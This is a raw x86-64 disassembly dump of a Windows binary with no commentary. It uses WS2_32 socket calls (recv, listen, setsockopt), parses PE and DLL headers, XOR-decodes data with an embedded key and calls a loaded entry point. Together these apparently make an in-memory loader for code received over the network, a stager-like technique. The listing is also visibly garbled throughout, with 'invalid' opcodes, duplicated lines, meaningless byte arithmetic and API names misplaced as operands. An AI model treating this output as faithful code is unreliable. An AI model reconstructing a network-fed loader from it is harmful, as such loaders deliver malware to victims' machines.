add r12d, 0xffffff05
add esp, 0xffffff05
cmp r12d, 3
ja case.default.0x14000482f
invalid
add byte [rbp + rcx*4 + 5], cl
call 0x18b004a33
invalid
lea r8, [0x140025310]
movsxd rdx, dword [r8 + r12*4]
add rdx, r8
ret 0xe2ff
ret 0xe2ff
loop 0x14000487b
mov r15, rsi
mov edi, esi
movzx r12d, word [r13 + 2]
mov edx, 3
jmp 0x140004860
mov r15, rsi
mov r12d, dword [r13 + 2]
mov edx, 5
jmp 0x140004860
mov r15, rsi
mov r12, qword [r13 + 2]
mov edx, 9
nop word [rax + rax]
add rax, rdx
sub rcx, rdx
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rcx
mov esi, 9
mov al, 1
add rsi, r12
jb 0x140004a2d
cmp rsi, 0xffff
ja 0x140004a2d
mov qword [rsp + 0x60], 1
lea rax, [rsp + 0x68]
movups xmmword [rax], xmm6
test r12, r12
jne 0x14000496b
mov edi, 1
xor ebx, ebx
xor r12d, r12d
mov rsi, r15
mov rdx, qword [rsp + 0xd0]
mov rcx, rdi
mov r8, r12
call fcn.140013b60
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x170]
sub rax, r15
cmp rax, r12
mov r15, qword [rsp + 0x58]
jb 0x1400049c6
mov r13, rsi
lea rcx, [r15 + r13]
mov rdx, rdi
mov r8, r12
call fcn.140013b60
lea rsi, [r12 + r13]
mov qword [rsp + 0x178], rsi
test r14b, r14b
jne 0x140004c6d
mov rcx, rbx
lea rdx, [rsp + 0xd0]
call fcn.1400217c0
movzx eax, byte [rsp + 0x60]
mov r12, qword [rsp + 0x68]
cmp al, 0x11
je 0x140004a17
jmp 0x140005cda
mov rcx, rbx
xor edx, edx
mov r8, r12
call fcn.140021710
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
lea rcx, [rdi + rsi]
cmp r12, 1
je 0x1400049a2
lea r8, [r12 - 1]
xor edx, edx
call fcn.140014210
add rsi, r12
dec rsi
lea rcx, [rdi + rsi]
mov r12, rsi
mov byte [rcx], 0
inc r12
mov rsi, r12
mov rbx, qword [rsp + 0x68]
sub rsi, qword [rsp + 0xd8]
jbe 0x1400048b7
jmp 0x140005e7b
lea rcx, [rsp + 0x168]
mov rdx, rsi
mov r8, r12
call fcn.140021710
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x68
add dword [rax], eax
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x78
add dword [rax], eax
add cl, ch
invalid
invalid
invalid
invalid
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x68
add dword [rax], eax
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x78
add dword [rax], eax
add cl, ch
or eax, 0x48ffffff
mov rcx, rbx
mov rcx, rbx
mov dl, 2
mov r8b, listen
jmp 0x140004a00
mov rcx, rbx
mov dl, 2
mov r8b, 4
call fcn.1400218b0
movzx eax, byte [rsp + 0x60]
mov r12, qword [rsp + 0x68]
cmp al, 0x11
jne 0x140005cda
mov r15, rsi
mov rsi, qword [rsp + 0xe0]
mov al, 1
add rsi, r12
jae 0x140004886
mov r9, rdx
shr r9, 8
jmp 0x140004acb
mov rax, rdi
mov rdi, qword [rdi - 1]
mov r15, rax
mov rsi, qword [rax + 7]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140004a70
cmp qword [rsi + 0x10], 0x11
jb 0x140004a5e
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, r15
dec r8
mov rcx, qword [0x140030ac8]
xor edx, edx
jmp 0x140004168
mov r12, rax
jmp 0x140004bff
mov edx, 1
lea rcx, [rsp + 0xc0]
mov r8, rbp
call fcn.140001010
mov r12, rax
test rax, rax
jne 0x140004bff
mov r13d, 1
xor eax, eax
mov esi, 1
jmp 0x140004acb
mov r12, rax
jmp 0x140004bed
mov esi, 1
mov al, 7
shl r8, 0x10
movzx r10d, r14b
shl r10, 8
or r10, r8
movzx eax, al
or rax, r10
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xe0], rcx
mov byte [rsp + 0xe8], dl
mov dword [rsp + 0xe9], r9d
mov rax, r9
shr rax, 0x30
mov byte [rsp + 0xef], al
shr r9, 0x20
mov word [rsp + 0xed], r9w
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x38]
movups xmmword [rax], xmm6
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x180], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x140], rax
lea rax, case.0x140006b4e.8
mov qword [rsp + 0x148], rax
lea rax, [0x1400238d8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x140]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rcx, [rsp + 0x30]
lea rdx, [0x140023610]
mov r8, rbx
call fcn.140009230
test al, al
jne 0x140001e50
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x70], rax
movdqu xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rbx
call fcn.140001250
mov r12, rax
movzx eax, byte [rsp + 0xd0]
cmp rax, 0xe
jae 0x1400055a7
test rbp, rbp
je 0x140004bff
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140004c28
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov r8d, 8
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov r15, rax
mov qword [rax], r12
cmp qword [rsp + 0x170], 0
je 0x14000366b
mov r8, qword [rsp + 0x168]
mov rcx, qword [0x140030ac8]
xor edx, edx
jmp 0x140003665
mov qword [rsp + 0xd0], 1
movups xmmword [rsp + 0xd8], xmm6
mov eax, 0x400
xor esi, esi
mov r13, rsi
sub r13, rax
add r13, 0x2400
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x1a8], rsi
mov rbp, rsi
xor esi, esi
xor eax, eax
mov qword [rsp + 0x1e0], rax
mov r12, rsi
cmp r12, rbp
jne 0x140004df3
jmp 0x140004f0f
cmp byte [rdi + 0x10], 0x23
jne 0x1400053b2
cmp r12, rbp
je 0x140004f0f
mov rax, rbp
sub rax, r12
cmp rax, r13
mov rdi, r13
cmovb rdi, rax
cmp dword [rsp + 0x58], 2
cmove rdi, rax
mov r8, qword [rsp + 0xd0]
add r8, r12
mov rcx, rbx
mov rdx, r14
mov r9, rdi
call fcn.14000f9e0
cmp qword [rsp + 0x60], 0
je case.default.0x140004e4a
mov r15, qword [rsp + 0x68]
mov esi, r15d
and esi, 3
lea rcx, [0x140025178]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
movzx eax, byte [r15 + 0x10]
jmp 0x140004e7c
cmp al, 0xb
je 0x140004e90
mov rdi, r15
jne 0x140004e9b
jmp 0x1400053fd
mov edi, 0
je 0x1400053fd
mov eax, edi
and eax, 3
lea rcx, [0x14002522c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rdi + 0xf], 0x23
jne 0x1400053b2
mov rax, rdi
mov rdi, qword [rdi - 1]
mov r15, rax
mov rsi, qword [rax + 7]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140004ef1
cmp qword [rsi + 0x10], 0x11
jb 0x140004edf
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, r15
dec r8
mov rcx, qword [0x140030ac8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r12, rbp
jne 0x140004df3
mov r8d, 0x20
lea rcx, [rsp + 0xd0]
mov rdx, rbp
call fcn.140021f70
mov rbp, qword [rsp + 0xd8]
mov r12, qword [rsp + 0xe0]
jmp 0x140004df3
mov rsi, qword [rsp + 0x68]
mov rax, qword [rsp + 0x1e0]
cmp rax, rsi
cmovbe rax, rsi
test rsi, rsi
je case.0x140005829.0
mov r15, rax
sub r15, rsi
jb 0x140001e50
cmp rax, rdi
ja 0x140001e50
add rsi, r12
mov qword [rsp + 0xe0], rsi
mov rax, r15
cmp rbp, qword [rsp + 0x1a8]
jne 0x140004dc5
mov rax, r15
cmp rsi, rbp
jne 0x140004dc5
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
mov r12, qword [rsp + 0x50]
mov rbp, r14
jmp 0x14000511a
cmp byte [rdi + 0x10], 0x23
jne case.0x14000518d.2
mov r9d, 0x20
lea rcx, [rsp + 0x168]
mov rdx, rbp
mov r8, rbx
call fcn.14000f9e0
cmp qword [rsp + 0x168], 0
je case.default.0x14000515d
mov rdi, qword [rsp + 0x170]
mov esi, edi
and esi, 3
lea rcx, [0x14002523c]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
movzx eax, byte [rdi + 0x10]
jmp 0x140005177
cmp al, 0xb
je case.0x14000518d.4
lea rcx, [0x1400252f0]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
cmp byte [rdi + 0xf], 0x23
jne case.0x14000518d.2
mov rax, rdi
mov rdi, qword [rdi - 1]
mov r12, rax
mov rsi, qword [rax + 7]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400051d0
cmp qword [rsi + 0x10], 0x11
jb 0x1400051be
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, r12
dec r8
mov rcx, qword [0x140030ac8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, qword [rsp + 0x50]
jmp 0x14000511a
mov rax, rdi
shr rax, 0x20
cmp eax, 0x23
je 0x14000511a
jmp case.0x14000518d.2
mov rdi, qword [rsp + 0x170]
test rdi, rdi
je case.0x140005829.0
cmp rdi, 0x21
jae 0x140001e50
lea rcx, [rsp + 0xd0]
mov rdx, qword [rsp + 0x1a8]
mov r8, rdi
call fcn.140021f70
mov rbp, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xd0]
add rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.140013b60
add rsi, rdi
mov qword [rsp + 0xe0], rsi
mov rax, r15
jmp 0x140004dc5
mov r12, qword [rsp + 0x50]
mov rbp, r14
cmp qword [rsp + 0xd8], 0
mov r13, qword [rsp + 0x120]
je 0x1400053e4
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x140030ac8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebp, ebp
test r12, r12
jne 0x1400041ce
jmp 0x1400041e0
lea rax, [rsi - 2]
cmp rax, 2
jb case.0x140005829.0
test rsi, rsi
je case.0x140005829.0
mov rdi, qword [r15 - 1]
mov rsi, qword [r15 + 7]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140005445
cmp qword [rsi + 0x10], 0x11
jb 0x140005433
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec r15
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp case.0x140005829.0
cmp eax, 0xe
je 0x140005877
cmp eax, 0xf
je 0x140004be8
cmp qword [rsp + 0xe0], 0
je 0x140004be8
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x140030ac8]
xor edx, edx
jmp 0x1400058db
cmp dword [rbp + rax], 0x4550
jne 0x14000574a
lea rdx, [rax + rbp]
movzx ecx, word [rdx + 4]
cmp ecx, 0x8664
jne 0x14000574a
movzx ecx, word [rdx + 0x16]
test cl, 2
je 0x14000574a
lea r8, [rax + 0x108]
cmp r8, rsi
ja 0x140001e50
mov r9, rsi
lea rsi, [rdx + 4]
mov r10d, 1
mov qword [rsp + 0xc8], r10
mov dword [rsp + 0x58], 0
mov r11, r9
sub r11, r8
movzx edi, word [rsi + 2]
lea rsi, [rdi*8]
lea rsi, [rsi + rsi*4]
sub r11, rsi
jb 0x140001e50
lea rbx, [rax - 0x40]
lea r10, [rbp + 0x40]
add r8, rbp
add rsi, r8
mov r15d, edi
shr r15d, 8
mov r12, rbp
shr r12, 8
mov byte [rsp + 0x60], bpl
mov r13, rbp
shr r13, 0x38
mov byte [rsp + 0x67], r13b
mov r13, rbp
shr r13, 0x28
mov word [rsp + 0x65], r13w
mov dword [rsp + 0x61], r12d
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x70], rbx
mov r10, qword [rsp + 0xc8]
mov qword [rsp + 0x78], r10
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x88], r8
mov byte [rsp + 0x90], dil
mov dword [rsp + 0x91], r15d
mov byte [rsp + 0x97], 0
mov word [rsp + 0x95], 0
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], r11
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0xb0], r9
cmp byte [rsp + 0x58], 0
lea rbx, [rsp + 0x60]
jne 0x14000574a
test ecx, 0x2000
je 0x14000574a
cmp dword [rbp + rax + 0xfc], 0
je 0x140005729
cmp dword [rbp + rax + 0xf8], 0
jne 0x14000574a
mov esi, dword [rbp + rax + 0x28]
test rsi, rsi
je 0x14000574a
lea rcx, [rsp + 0x30]
mov rdx, rbx
call fcn.14000c400
cmp dword [rsp + 0x30], 0
je 0x140006006
lea rax, [0x1400227d1]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
movabs rax, 0xa38a36214d96a6b2
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x60]
call fcn.140001a10
movq xmm0, qword [rax]
movq xmm1, qword [rax + 8]
punpcklqdq xmm0, xmm1
pxor xmm0, xmm9
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, reloc.WS2_32.dll_recv
mov cl, 0x27
mov rdx, rbx
call fcn.140001140
mov rdi, rax
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x1400057c8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov r8d, 8
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov r15, rax
mov qword [rax], rdi
test r14, r14
je 0x1400057ff
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.WS2_32.dll_closesocket]
test r15, r15
jne 0x1400025cd
jmp 0x14000263d
lea rcx, [0x140025300]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
mov rbp, qword [rsp + 0xd0]
mov rdi, qword [rsp + 0xd8]
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x1a0], rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0x120]
mov r12, qword [rsp + 0x50]
test r12, r12
jne 0x1400041ce
jmp 0x1400041e0
mov rdi, qword [rsp + 0xe0]
mov eax, edi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140004be8
test rax, rax
je 0x140004be8
mov r15, qword [rdi - 1]
mov rsi, qword [rdi + 7]
mov rcx, r15
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400058cc
cmp qword [rsi + 0x10], 0x11
jb 0x1400058ba
mov r15, qword [r15 - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec rdi
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140004be8
movzx r14d, byte [rsp + 0x61]
mov ecx, dword [rsp + 0x62]
movzx r8d, word [rsp + 0x66]
shl r8, 0x20
or r8, rcx
mov rcx, qword [rsp + 0x70]
and al, 0x70
and al, 0x70
mov rdx, qword [rsp + 0x78]
mov rsi, r12
jmp 0x140004a2d
mov rax, rdi
mov rdi, qword [rdi - 1]
mov r15, rax
mov rsi, qword [rax + 7]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140005d3a
cmp qword [rsi + 0x10], 0x11
jb 0x140005d28
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, r15
dec r8
mov rcx, qword [0x140030ac8]
xor edx, edx
jmp 0x140005454
test rbx, rbx
je 0x140005e92
mov rdi, qword [rsp + 0x38]
add rsi, rdi
mov rcx, rdi
mov edx, 1
lea r8, [rsp + 0xd0]
call rsi
test al, al
je 0x140006068
mov rcx, rdi
xor edx, edx
lea r8, [rsp + 0xd0]
call rsi
mov rcx, rbx
mov rdx, rdi
call fcn.14000cec0
test r14, r14
je 0x140006055
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x14000263d
mov rcx, rbx
mov rdx, rdi
call fcn.14000cec0
xor r15d, r15d
test r14, r14
jne 0x1400057ed
jmp 0x1400057ff
test rax, rax
ud2
test rcx, rcx
ud2
je 0x1400061f6
mov r14, rax
mov ecx, r14d
and ecx, 3
mov eax, 0xffffffff
lea rdx, [0x140025320]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
lea rsi, [r14 - 1]
mov rdi, qword [r14 - 1]
mov rbx, qword [r14 + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400061da
cmp qword [rbx + 0x10], 0x11
jb 0x1400061c8
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
jmp case.0x1400062be.0
movzx r15d, word [rsp + 0x2e]
test r15, r15
je 0x140006287
mov rcx, qword [0x140030ac8]
test rcx, rcx
jne 0x14000622a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400062e4
mov rcx, rax
mov qword [0x140030ac8], rax
mov edx, 8
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400062e4
mov r13, rax
mov rcx, r12
mov rdx, rax
mov r8, r15
call fcn.140001010
test rax, rax
je 0x1400062c9
mov r14, rax
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, r14d
and ecx, 3
mov eax, 0xffffffff
lea rdx, [0x140025320]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov r13d, 1
mov edx, 1
mov rcx, r12
mov r8, r15
call fcn.140001010
test rax, rax
je 0x1400062c9
mov r14, rax
mov ecx, r14d
and ecx, 3
mov eax, 0xffffffff
lea rdx, [0x140025320]
lock add dword [rax], eax
lock add dword [rax], eax
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
shr r14, 0x20
mov eax, r14d
jmp case.0x1400062be.0
mov qword [rbx], r15
mov qword [rsi], r15
mov qword [rdi], r13
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
lea r8, [0x140025330]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400063b3
cmp qword [rbx + 0x10], 0x11
jb 0x1400063a1
invalid
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 0xffffffff
invalid
invalid
invalid
invalid
jmp case.0x14000637c.0
shr rax, 0x20
mov ecx, eax
jmp case.0x14000637c.0
mov eax, ecx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rsi, rdx
mov rdi, qword [rcx]
mov rax, qword [rdi]
lea rcx, [0x140025340]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400236fc]
adc eax, 0x1cb99
adc eax, 0x1cb99
mov r8d, reloc.WS2_32.dll_listen
jmp 0x140006cb5
add rdi, 8
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140023709]
mov r8d, 0x16
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea rax, [0x1400097c0]
mov qword [rsp + 0x20], rax
lea rdx, [0x14002371f]
lea rsi, [rsp + 0x30]
mov r8d, 5
mov rcx, rsi
mov r9, rdi
call fcn.1400099e0
lea rax, case.0x1400062be.16
push rbx
or byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
push rbx
or byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
lea rdx, [0x140023724]
lea r9, [rsp + 0x48]
mov r8d, 9
jmp 0x140006e24
add rdi, 8
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140024874]
mov r8d, 5
call qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x40], al
mov qword [rsp + 0x30], 0
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x41], 0
lea r8, case.0x1400062be.16
jmp 0x140006c69
add rdi, 8
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14002372d]
mov r8d, recv
call qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x40], al
mov qword [rsp + 0x30], 0
add dh, al
and al, 0x41
add byte [rbp + rcx*4 + 5], cl
xchg edi, eax
invalid
add byte [rax], al
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x48]
call fcn.14000aa30
mov rax, qword [rsp + 0x30]
xor byte [rdi], cl
mov dh, 0x4c
and al, 0x40
xor byte [rdi], cl
mov dh, 0x4c
and al, 0x40
test rax, rax
je 0x140006e68
mov bl, 1
test cl, cl
je 0x140006e6e
add dword [rcx + rcx*8 + 0x1d9840f], eax
add byte [rax], al
test bl, bl
jmp 0x140006edc
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140023738]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x1ca89
mov r8d, reloc.WS2_32.dll_setsockopt
add rsp, 0x50
pop rbx
pop rdi
pop rsi
jmp rax
lea rax, [rdi + 8]
mov qword [rsp + 0x48], rax
add rdi, 0x10
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14002374d]
mov r8d, 2
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea rax, [0x140010b40]
mov qword [rsp + 0x20], rax
lea rdx, [0x14002371f]
lea rsi, [rsp + 0x30]
mov r8d, 5
mov rcx, rsi
mov r9, rdi
call fcn.1400099e0
lea rax, [0x1400071d0]
scasb al, byte [rdi]
add al, 0
add byte [rax - 0x77], cl
and al, 0x20
scasb al, byte [rdi]
add al, 0
add byte [rax - 0x77], cl
and al, 0x20
lea rdx, [0x14002374f]
lea r9, [rsp + 0x48]
mov r8d, 5
jmp 0x140006e24
add rdi, 8
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140023754]
mov r8d, 0xa
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
and al, 0x39
add byte [rax - 0x73], cl
add eax, 0x6ac
mov qword [rsp + 0x20], rax
lea rdx, [0x140023724]
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x48]
mov r8d, 9
call fcn.1400099e0
cmp byte [rsp + 0x39], 0
movzx eax, byte [rsp + 0x38]
jne 0x140006e3c
jmp 0x140006eda
lea rax, [rdi + 8]
mov qword [rsp + 0x48], rax
add rdi, 0x10
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14002375e]
mov r8d, setsockopt
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea rax, [0x140006fb0]
mov qword [rsp + 0x20], rax
lea rdx, [0x14002371f]
lea rsi, [rsp + 0x30]
mov r8d, 5
mov rcx, rsi
mov r9, rdi
call fcn.1400099e0
lea rax, [0x140006ef0]
mov qword [rsp + 0x20], rax
lea rdx, [0x14002376f]
lea r9, [rsp + 0x48]
mov r8d, 4
mov rcx, rsi
call fcn.1400099e0
cmp byte [rsp + 0x39], 0
movzx eax, byte [rsp + 0x38]
je 0x140006eda
test al, al
mov al, 1
jne 0x140006eda
mov ebx, ecx
test cl, cl
jmp 0x140006edc
test al, al
setne al
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
mov rax, qword [rcx]
mov rcx, qword [rax]
mov rax, qword [rax + 8]
mov r8, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
sub byte [rax - 0x77], cl
ret 0x66e9
cmp byte [rax], al
invalid
sub byte [rax - 0x77], cl
ret 0x66e9
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rsi, rdx
mov rdi, qword [rcx]
movzx eax, byte [rdi]
lea rcx, [0x140025360]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
and al, 0x39
add byte [rax - 0x73], cl
lea rax, [0x1400071d0]
mov qword [rsp + 0x20], rax
lea rdx, [0x140023773]
lea edx, [0x140023773]
lea edx, [0x140023773]
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x48]
mov r8d, 0xa
call fcn.1400099e0
cmp byte [rsp + 0x39], 0
movzx eax, byte [rsp + 0x38]
and al, 0x38
add byte [rax], al
add al, ch
sub dword [0x1bc8074b9], esp
and al, 0x39
add byte [rdi], cl
mov dh, 0x44
and al, 0x38
jne 0x140007a24
jmp 0x140007a64
and byte [rax - 0x75], cl
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x1c29e
mov r8d, reloc.WS2_32.dll_listen
add rsp, 0x50
pop rbx
pop rdi
pop rsi
jmp rax
and al, 0x30
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea rax, [0x140008900]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], rax
lea rdx, [0x14002379c]
lea rsi, [rsp + 0x30]
je 0x14000755c
xor byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
je 0x14000755c
xor byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
mov rcx, rsi
mov r9, rdi
call fcn.1400099e0
lea rax, [0x1400088d0]
jmp 0x1400077a6
and al, 0x48
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x1c23c
mov r8d, setsockopt
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
and al, 0x39
add byte [rax - 0x73], cl
add eax, 0x1345
and al, 0x39
add byte [rax - 0x73], cl
add eax, 0x1345
mov qword [rsp + 0x20], rax
lea rdx, [0x1400237ba]
lea edx, [0x1400237ba]
lea edx, [0x1400237ba]
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x48]
mov r8d, reloc.WS2_32.dll_listen
call fcn.1400099e0
cmp byte [rsp + 0x39], 0
movzx eax, byte [rsp + 0x38]
jne 0x140007a24
jmp 0x140007a64
mov eax, 9
mov rcx, rsi
mov r9, rbx
call fcn.1400099e0
lea rax, [0x140008420]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400237d8]
rol dword [rcx], 0
rol dword [rcx], 0
mov r8d, 7
mov rcx, rsi
mov r9, rdi
call fcn.1400099e0
lea rax, [0x140008200]
jmp 0x1400077a6
and al, 0x39
add byte [rax - 0x73], cl
add eax, 0x989
mov qword [rsp + 0x20], rax
lea rdx, [0x14002371f]
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x48]
mov r8d, 5
call fcn.1400099e0
cmp byte [rsp + 0x39], 0
